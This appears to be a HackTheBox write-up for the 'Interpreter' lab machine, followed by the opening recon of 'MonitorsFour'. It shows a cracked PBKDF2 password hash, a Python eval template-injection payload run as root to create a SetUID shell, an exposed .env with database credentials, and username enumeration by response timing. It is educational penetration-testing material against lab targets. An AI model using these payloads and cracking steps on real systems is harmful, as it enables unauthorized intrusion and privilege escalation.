| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.001 sec)

The PERSON table has one row:

MariaDB [mc_bdd_prod]> select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN          | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY       | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
|  2 | sedric   |           |          |              | NULL     |       |             |             | 2025-09-21 17:56:02 | NULL               |            0 | NULL             |           | NULL | United States | NULL           |           0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.001 sec)

There is no password column. The PERSON_PASSWORD table gives the password hash for a given user id:

MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.001 sec)

Crack Password

Identify Algorithm

Password hashing is done in DefaultUserController.java in the checkOrUpdateUserPassword method:

    public List<String> checkOrUpdateUserPassword(Integer userId, String plainPassword) throws ControllerException {
        StatementLock.getInstance(VACUUM_LOCK_PERSON_STATEMENT_ID).readLock();
        try {
            Digester digester = ControllerFactory.getFactory().createConfigurationController().getDigester();
            PasswordRequirements passwordRequirements = ControllerFactory.getFactory().createConfigurationController().getPasswordRequirements();
            List<String> responses = PasswordRequirementsChecker.getInstance().doesPasswordMeetRequirements(userId, plainPassword, passwordRequirements);
...[snip]...
            userPasswordMap.put("password", digester.digest(plainPassword));
...[snip]...

The Digester comes from Digester.java, where the digest function is defined:

    public String digest(final String message) throws EncryptionException {
        if (message == null) {
            return null;
        }

        try {
            if (!isInitialized()) {
                initialize();
            }

            byte[] salt = saltGenerator.generateSeed(saltSizeBytes);
            byte[] digest = digest(message, salt);

            if (format == Output.HEXADECIMAL) {
                return Hex.encodeHexString(digest);
            } else {
                return new String(Base64.encodeBase64Chunked(digest), charset);
            }
        } catch (Exception e) {
            throw new EncryptionException(e);
        }
    }

The hash (“digest”) is base64-encoded and returned. At the top of the class it defines the defaults:

public class Digester {
    public static final int DEFAULT_SALT_SIZE = 8;
    public static final int DEFAULT_ITERATIONS = 600000;
    public static final int DEFAULT_KEY_SIZE_BITS = 256;

    private String algorithm = "PBKDF2WithHmacSHA256";

Format for Hashcat

Mode 10900 in hashcat on the example hashes page is PBKDF2-HMAC-SHA256:

sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

The DB stores Base64(salt + derivedKey). hashcat 10900 wants sha256:iterations:base64salt:base64hash. So I’ll want to:

Base64-decode the hash, returning 40 raw bytes.
Take the first 8 bytes and base64-encode them to get the base64salt value.
Take the other 32 bytes and base64-encode them to get base64hash.

I’ll write a simple Python script to handle that:

import base64
import sys

SALT_LEN = 8
ITERATIONS = 600000

def main():
    if len(sys.argv) < 2:
        sys.exit(f"usage: {sys.argv[0]}  [salt_len] [iterations]")
    stored = sys.argv[1].strip()
    salt_len = int(sys.argv[2]) if len(sys.argv) > 2 else SALT_LEN
    iters = int(sys.argv[3]) if len(sys.argv) > 3 else ITERATIONS

    raw = base64.b64decode(stored)
    salt = raw[:salt_len]
    dk = raw[salt_len:]

    print(f"decoded total : {len(raw)} bytes  (salt {len(salt)} + dk {len(dk)})", file=sys.stderr)
    print(f"sha256:{iters}:{base64.b64encode(salt).decode()}:{base64.b64encode(dk).decode()}")

if __name__ == "__main__":
    main()

And give it the hash from Interpreter:

oxdf@hacky$ uv run mirth_hash_to_hashcat.py 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='
decoded total : 40 bytes  (salt 8 + dk 32)
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Crack

I’ll save that hash to a file and pass it to hashcat:

oxdf@mullings:~/hackthebox/interpreter-10.129.244.184$ hashcat sedric.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
...[snip]...

It cracks!

su / SSH

This password works for sedric on the system as well using su:

mirth@interpreter:/$ su - sedric
Password: 
sedric@interpreter:~$

It also works over SSH:

oxdf@hacky$ sshpass -p snowflake1 ssh sedric@10.129.244.184
Warning: Permanently added '10.129.244.184' (ED25519) to the list of known hosts.
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
...[snip]...
sedric@interpreter:~$ 

I’ll grab user.txt:

sedric@interpreter:~$ cat user.txt
8d65b27a************************

Shell as root

Enumeration

There are a couple ports listening that are interesting:

sedric@interpreter:/$ ss -tnlp
State          Recv-Q         Send-Q                   Local Address:Port                    Peer Address:Port         Process         
LISTEN         0              256                            0.0.0.0:6661                         0.0.0.0:*                            
LISTEN         0              50                             0.0.0.0:80                           0.0.0.0:*                            
LISTEN         0              128                            0.0.0.0:22                           0.0.0.0:*                            
LISTEN         0              50                             0.0.0.0:443                          0.0.0.0:*                            
LISTEN         0              80                           127.0.0.1:3306                         0.0.0.0:*                            
LISTEN         0              128                          127.0.0.1:54321                        0.0.0.0:*                            
LISTEN         0              128                               [::]:22                              [::]:*   

54321 is new and interesting! The process list has an interesting entry as well:

sedric@interpreter:/$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...[snip]...
root        3551  0.0  0.7  39872 30916 ?        Ss   17:25   0:00 /usr/bin/python3 /usr/local/bin/notif.py
...[snip]...

There’s a Python script running continuously. /etc/systemd/system/notif.service sets it running as service as root:

[Unit]
Description=Notification server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
Restart=always
User=root
WorkingDirectory=/usr/local/bin

[Install]
WantedBy=multi-user.target

This file is configured such that only root and the sedric group can access it:

sedric@interpreter:~$ ls -l /usr/local/bin/notif.py 
-rwxr----- 1 root sedric 2332 Sep 19  2025 /usr/local/bin/notif.py

Trying to connect to the service just returns 404:

sedric@interpreter:~$ wget localhost:54321
--2026-05-25 17:31:53--  http://localhost:54321/
Resolving localhost (localhost)... 127.0.0.1, ::1
Connecting to localhost (localhost)|127.0.0.1|:54321... connected.
HTTP request sent, awaiting response... 404 NOT FOUND
2026-05-25 17:31:53 ERROR 404: NOT FOUND.

curl isn’t on the box, but I’ll reconnect my SSH session with -L 54321:127.0.0.1:54321 to get a tunnel so I can test from my box:

oxdf@hacky$ curl localhost:54321


404 Not Found
Not Found
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

notif.py

The file itself is a very simple Python Flask webserver:

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No  tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

The code defines a server listening on 127.0.0.1 port 54321 with one route, /addPatient, which only accepts POST requests. If the remote address isn’t 127.0.0.1, it returns 403. It then gets the body of the POST and decodes it as XML, returning 400 if that fails. I’ll validate this:

oxdf@hacky$ curl localhost:54321/addPatient


405 Method Not Allowed
Method Not Allowed
The method is not allowed for the requested URL.
oxdf@hacky$ curl localhost:54321/addPatient -X POST
XML ERROR
oxdf@hacky$ curl localhost:54321/addPatient -d 'testing'
XML ERROR

If I give it XML, the server then finds a tag in the XML, or returns an error:

oxdf@hacky$ curl localhost:54321/addPatient -d 'testing'
XML ERROR
oxdf@hacky$ curl localhost:54321/addPatient -d 'testing'
XML ERROR
oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: application/xml' -d 'testing'            
No  tag found

By default curl adds Content-Type: application/x-www-form-urlencoded, which puts data in request.form (leaving request.data blank) in Flask. If I explicitly set it to something else (application/xml to be correct), it works.

The code from here processes the tag and passes it to template, the results of which are saved into a file and returned to the user:

    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No  tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

The template function is not at all safe:

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

Any time I see eval I know that’s bad (and probably vulnerable) code. Input validating is the regex at the top, making sure that the entire string is only certain characters.

To get to the eval, I’ll need to make sure the tag includes tags for each of first, last, sender, ts, dob, and gender are present. Otherwise they get parsed to the empty string and then fail the regex check here:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'testing'
[INVALID_INPUT]
oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000'
[INVALID_INPUT]
oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000f'
Patient first last (f), 26 years old, received from app at 1234

With all the fields, it passes.

Template Injection

Eval POC

For some reason the application author decided to calculate the age with an eval call on the entire string, which is incredibly unrealistic. The f"f'''{template}'''" call is also very weird. It leaves the inner f-string unresolved:

oxdf@hacky$ python3
Python 3.12.3 (main, Mar 23 2026, 19:04:32) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> s = "test"
>>> f"f'''{s}'''"
"f'''test'''"

That means that my input goes into eval wrapped in an f-string. So just putting Python code won’t work:

>>> s = "2 + 3"
>>> f"f'''{s}'''"
"f'''2 + 3'''"
>>> eval(f"f'''{s}'''")
'2 + 3'

However, if I put my input inside {} (which for some reason are allowed through the safety regex), it evaluates:

>>> s = "{2 + 3}"
>>> f"f'''{s}'''"
"f'''{2 + 3}'''"
>>> eval(f"f'''{s}'''")
'5'

This same behavior shows up on Interpreter:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/20002+3'
Patient first last (2+3), 26 years old, received from app at 1234
oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{2+3}'
Patient first last (5), 26 years old, received from app at 1234

Execution

I can’t use spaces, but there are nice Python snippets that will get execution from here. __import__ is a Python built-in function that is called behind the import and from import syntaxes. I can access it directly to import a library:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{__import__("os")}'
Patient first last (), 26 years old, received from app at 1234

With access to the os module, I’ll call popen:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{__import__("os").popen("id")}'
Patient first last (), 26 years old, received from app at 1234

popen returns a os._wrap_close object. To see the results, I’ll need to read from it:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{__import__("os").popen("id").read()}'
Patient first last (uid=0(root) gid=0(root) groups=0(root)
), 26 years old, received from app at 1234

That’s execution as root.

Shell

To run a more complex command than id, the straightforward approach would require characters that aren’t allowed (like space). There are a bunch of ways around this, but I’ll opt to base64-encode the command and then decode it with Python. If I want to start with the id command, it encodes to:

oxdf@hacky$ echo 'id' | base64
aWQK

Now I can decode that via the injection:

>>> s = "{__import__('base64').b64decode('aWQK')}"
>>> eval(f"f'''{s}'''")
"b'id\\n'"
>>> s = "{__import__('os').popen(__import__('base64').b64decode('aWQK').decode()).read()}"
>>> eval(f"f'''{s}'''")
'uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)\n'

That’s a complete command run! I’ll try it on Interpreter:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{__import__("os").popen(__import__("base64").b64decode("aWQK").decode()).read()}'
Patient first last (uid=0(root) gid=0(root) groups=0(root)
), 26 years old, received from app at 1234

That’s execution as root again!

Now to run other commands, I just need to base64-encode them. I’ll create a SetUID bash:

sedric@interpreter:~$ echo 'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf' | base64 -w0
Y3AgL2Jpbi9iYXNoIC90bXAvMHhkZjsgY2hvd24gcm9vdDpyb290IC90bXAvMHhkZjsgY2htb2QgNjc3NyAvdG1wLzB4ZGYK

It runs:

oxdf@hacky$ curl localhost:54321/addPatient -H 'Content-Type: whatever' -d 'firstlastapp123401/01/2000{__import__("os").popen(__import__("base64").b64decode("Y3AgL2Jpbi9iYXNoIC90bXAvMHhkZjsgY2hvd24gcm9vdDpyb290IC90bXAvMHhkZjsgY2htb2QgNjc3NyAvdG1wLzB4ZGYK").decode()).read()}'
Patient first last (), 26 years old, received from app at 1234

And there’s a root-owned SetUID file at /tmp/0xdf:

sedric@interpreter:~$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1265648 May 26 06:18 /tmp/0xdf

I’ll run with -p to not drop privs:

sedric@interpreter:~$ /tmp/0xdf -p
0xdf-5.2#

And grab root.txt:

0xdf-5.2# cat root.txt
52c2a42c************************

HTB: MonitorsFour

2026-05-23T13:45:00+00:00

MonitorsFour continues the Monitors series, this time on a Windows host. A company website exposes an authenticated API endpoint that returns every employee’s record. I’ll bypass auth with a PHP type juggling flaw to dump a collection of crackable password hashes. Those credentials open a Cacti instance, where I’ll exploit CVE-2025-24367 to inject commands into rrdtool and drop a webshell, landing in a Docker container. Enumeration shows the host is running Docker Desktop on a WSL2 backend, and that the container can reach the Docker Engine API directly (CVE-2025-9074). I’ll create a new container that mounts the Windows host’s drive and read the root flag. In Beyond Root, I’ll turn that filesystem access into a shell on Windows through a scheduled task, and break down the PHP type juggling bug.

Box Info

MonitorsFour

Easy

Release Date 06 Dec 2025

Retire Date 23 May 2026

OS Windows

Rated Difficulty

Radar Graph

User

00:22:28

Root

00:49:29

Creators

Recon

Initial Scanning

nmap finds two open TCP ports, HTTP (80) and WinRM (5985):

oxdf@hacky$ sudo nmap -p- --min-rate 10000 --reason monitorsfour.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-19 20:21 UTC
Nmap scan report for monitorsfour.htb (10.129.67.15)
Host is up, received echo-reply ttl 127 (0.021s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack ttl 127
5985/tcp open  wsman   syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
oxdf@hacky$ sudo nmap -p 80,5985 -sCV 10.129.67.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-15 20:26 UTC
Nmap scan report for 10.129.67.15
Host is up (0.020s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.67 seconds

It’s a Windows host, where the HTTP server is Nginx.

Both ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

netexec is able to give a domain and hostname over WinRM:

oxdf@hacky$ netexec winrm 10.129.67.15
WINRM       10.129.67.15    5985   MONITORSFOUR     [*] Windows 11 / Server 2025 Build 26100 (name:MONITORSFOUR) (domain:MonitorsFour) 

The lack of a . in the domain and the same string showing up for both name and domain suggests this is just a workstation rather than a domain-joined host.

Subdomain Fuzz - TCP 80

Given the use of domain name / host-based routing, I’ll use ffuf to bruteforce for subdomains that respond differently:

oxdf@hacky$ ffuf -u http://10.129.67.15 -H 'Host: FUZZ.monitorsfour.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.67.15
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1408 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

It finds one, cacti. I’ll add both the base domain and the subdomain to my local /etc/hosts file:

oxdf@hacky$ head -1 /etc/hosts
10.129.67.15 monitorsfour.htb cacti.monitorsfour.htb

I’ll scan the webserver for both hosts with nmap and scripts again, but not find anything noteworthy.

monitorsfour.htb - TCP 80

Site

The site is for a networking solutions and infrastructure company:

All of the links on the site except for the Login button go to anchors on the page. There’s an email address in the footer, sales@monitorsfour.htb.

The login page offers a form:

There’s no registration, but there is a “Forgot password?” link. It asks for an email:

Visually, this is the same login page as HTB MonitorsThree, except this time I can’t use this to enumerate users, as it always just says “if that email exists…”:

Tech Stack

The HTTP response headers show that the page is running Nginx and PHP:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 15 May 2026 20:34:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=67be9cf29c9afe53e95953179bbe183a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 13688

Trying to load index.php or index.html both return an empty 404 response:

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 15 May 2026 20:39:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0

In Firefox, this loads the Firefox default 404 page:

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://monitorsfour.htb --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://monitorsfour.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l        9w      146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      338l      982w    13688c http://monitorsfour.htb/
200      GET        1l        3w       35c http://monitorsfour.htb/user
200      GET        4l       35w      367c http://monitorsfour.htb/contact
200      GET       96l      239w     4340c http://monitorsfour.htb/login
301      GET        7l       11w      162c http://monitorsfour.htb/static => http://monitorsfour.htb/static/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin => http://monitorsfour.htb/static/admin/
301      GET        7l       11w      162c http://monitorsfour.htb/static/js => http://monitorsfour.htb/static/js/
301      GET        7l       11w      162c http://monitorsfour.htb/static/css => http://monitorsfour.htb/static/css/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images => http://monitorsfour.htb/static/images/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images/blog => http://monitorsfour.htb/static/images/blog/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets => http://monitorsfour.htb/static/admin/assets/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/js => http://monitorsfour.htb/static/admin/assets/js/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/css => http://monitorsfour.htb/static/admin/assets/css/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/images => http://monitorsfour.htb/static/admin/assets/images/
301      GET        7l       11w      162c http://monitorsfour.htb/views => http://monitorsfour.htb/views/
301      GET        7l       11w      162c http://monitorsfour.htb/static/fonts => http://monitorsfour.htb/static/fonts/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images/services => http://monitorsfour.htb/static/images/services/
301      GET        7l       11w      162c http://monitorsfour.htb/views/admin => http://monitorsfour.htb/views/admin/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/swf => http://monitorsfour.htb/static/admin/assets/swf/
301      GET        7l       11w      162c http://monitorsfour.htb/controllers => http://monitorsfour.htb/controllers/
200      GET       84l      212w     3099c http://monitorsfour.htb/forgot-password
200      GET      306l      960w    11647c http://monitorsfour.htb/static/css/css2
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/locales => http://monitorsfour.htb/static/admin/assets/locales/
[##>-----------------] - 5m     46079/390000  55m     found:23      errors:5430
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_monitorsfour_htb-1778878141.state ...
[##>-----------------] - 5m     46079/390000  55m     found:23      errors:5430
[##>-----------------] - 5m      4039/30000   13/s    http://monitorsfour.htb/
[##>-----------------] - 5m      3721/30000   12/s    http://monitorsfour.htb/static/
[##>-----------------] - 5m      3625/30000   12/s    http://monitorsfour.htb/static/admin/
[##>-----------------] - 5m      3637/30000   12/s    http://monitorsfour.htb/static/js/
[##>-----------------] - 5m      3630/30000   12/s    http://monitorsfour.htb/static/css/
[##>-----------------] - 5m      3621/30000   12/s    http://monitorsfour.htb/static/images/
[##>-----------------] - 5m      3552/30000   12/s    http://monitorsfour.htb/static/images/blog/
[##>-----------------] - 5m      3540/30000   12/s    http://monitorsfour.htb/static/admin/assets/
[##>-----------------] - 5m      3368/30000   11/s    http://monitorsfour.htb/views/
[##>-----------------] - 5m      3418/30000   11/s    http://monitorsfour.htb/static/fonts/
[##>-----------------] - 5m      3390/30000   11/s    http://monitorsfour.htb/static/images/services/
[##>-----------------] - 5m      3324/30000   11/s    http://monitorsfour.htb/views/admin/
[##>-----------------] - 5m      3124/30000   11/s    http://monitorsfour.htb/controllers/ 

It started off going, but quickly ground to a halt and started getting errors, so I’ll kill it.

/contact is interesting. It doesn’t look like it’s intended to be there, as it returns a crash:

That’s helpful for orienting where the web files directory is on the host.

/user returns an error as well:

Adding a token parameter returns JSON

I don’t have a valid token at this point, so I’ll come back later.

Some other wordlists would also find .env exposed (or given that it’s PHP I could reasonably just know to check this):

oxdf@hacky$ curl http://monitorsfour.htb/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

That’s DB creds. They don’t work to log into the site, or over WinRM:

oxdf@hacky$ netexec winrm 10.129.67.15 -u monitorsdbuser -p 'f37p2j8f4t0r'
WINRM       10.129.67.15    5985   MONITORSFOUR     [*] Windows 11 / Server 2025 Build 26100 (name:MONITORSFOUR) (domain:MonitorsFour) 
WINRM       10.129.67.15    5985   MONITORSFOUR     [-] MonitorsFour\monitorsdbuser:f37p2j8f4t0r

cacti.monitorsfour.htb - TCP 80

Site

This site is an instance of Cacti:

This is not surprising having already played HTB Monitors, HTB MonitorsTwo, and HTB MonitorsThree.

User Validation

I can validate usernames on the POST request for login. I’ll send it to Burp Repeater, and submit a login request. It will return 200 either way with the page and an “Access Denied! Login Failed.” message.

With a user that doesn’t exist (like 0xdf0xdf in the image above), the response time (bottom right corner) is between 75-110 milliseconds.

However, when I switch the username to admin, the response time goes up!

The range here is around 250-310 milliseconds. That’s because when the name doesn’t exist, it’s just a single DB call (something like select * from users where username = ), and when no rows come back, it returns. On the other hand, if the name does exist, the row comes back, and now it has to hash the password to compare to the DB. If it’s using a good hashing algorithm that’s robust against brute force attacks, it will take a noticeable fraction of a second.

In theory I can try fuzzing with ffuf, something like -ft '<200, and a list of usernames, but the webserver is underpowered and sending lots of requests slows them all down, which breaks the filter.

Tech Stack

The page footer shows it’s running version 1.2.28. The HTTP response headers show it’s also PHP, setting a Cacti cookie:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 15 May 2026 20:49:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Last-Modified: Fri, 15 May 2026 20:49:28 GMT
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src *; img-src 'self'  data: blob:; style-src 'self' 'unsafe-inline' ; script-src 'self'  'unsafe-inline' ; frame-ancestors 'self'; worker-src 'self' ;
P3P: CP="CAO PSA OUR"
Set-Cookie: Cacti=1adbe24204ac8d89208e1da6fce9d8fa; path=/cacti/; HttpOnly; SameSite=Strict
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 14320

I’ll skip the directory brute force given it’s known open-source software.

Shell as www-data in Container

Authenticated Cacti Access

Users Dump

I’m not able to find any unauthenticated vulnerabilities in this version of Cacti, so I’ll return to the /user endpoint. To check for injections or crashes or anything weird, I’ll fuzz with ffuf:

oxdf@hacky$ ffuf -u http://monitorsfour.htb/user?token=FUZZ -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/user?token=FUZZ
